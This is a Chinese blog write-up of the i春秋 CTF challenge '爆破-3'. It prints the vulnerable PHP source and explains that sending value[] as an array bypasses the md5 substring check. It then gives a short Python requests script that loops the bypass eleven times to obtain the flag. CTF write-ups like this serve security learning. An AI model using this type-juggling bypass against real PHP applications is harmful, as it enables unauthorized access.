i春秋 CTF misc web:爆破-3

题目提示:这个真的是爆破。

<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

与前两个题类似,先进行代码审计。
$value = $_REQUEST[‘value’];可以看出PHP将值保存到value中。即xxx.php?value=x
由if判断条件看出
SESSION[‘whoami’]应与value的第1第2个字符相同(即value=eaxxxx),并且进行MD5加密。(经百度得知,数组类型不进行MD5加密,所以想法是传value[])
最后的if得出需要经过11次才能显示flag。
之后进项爆破,可以手动,可以利用Python脚本
手动爆破:
在这里插入图片描述
在这里插入图片描述
一共需要进行重复10次
最后会出来flag
在这里插入图片描述
python脚本注入:(Python脚本注入原理与手工注入相同)

import requests

url='http://2b974b9732094bcf9490176750686b3871a7cfcaf44c47fe.game.ichunqiu.com?value[]='

a=requests.session()
b=a.get(url+'ea')

for i in range(11):
	c=a.get(url+b.text[:2])
	b=c
	print(b.text)
	pass

将脚本运行完,只需看最后一个输出就行。
在这里插入图片描述

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值